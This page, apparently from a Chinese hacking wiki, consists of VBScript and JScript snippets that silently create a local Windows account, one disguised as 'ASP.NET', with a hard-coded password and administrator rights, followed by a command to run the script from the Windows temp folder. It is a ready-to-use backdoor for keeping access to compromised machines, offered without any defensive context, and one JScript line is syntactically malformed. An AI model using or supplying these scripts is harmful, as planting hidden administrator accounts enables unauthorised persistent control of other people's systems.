习科小黑板 - Silic Wiki

user.vbs

a="WinNT://"&createObject("WSCRIPT.NETWORK").ComputerName
Set x=GetObject(a)
Set y=GetObject(a&"/Administrators,group")
Set z=x.create("user","ASP.NET")
z.SetPassword "Silic@123456"
z.SetInfo
Set of=GetObject(a&"/" & "ASP.NET" & ",user")
y.Add(of.ADsPath)
For Each admin in y.Members
wscript.quit
Next

user.js

var o=new ActiveXObject( "Shell.Users" );
z=o.create("Silic") ;
z.changePassword("Silic@123456","")z.setting("AccountType")=3;

或

user.vbs

Set o=CreateObject( "Shell.Users" )
Set z=o.create("Silic")
z.changePassword "Silic@123456",""
z.setting("AccountType")=3

执行方式：

cscript c:\windows\temp\user.vbs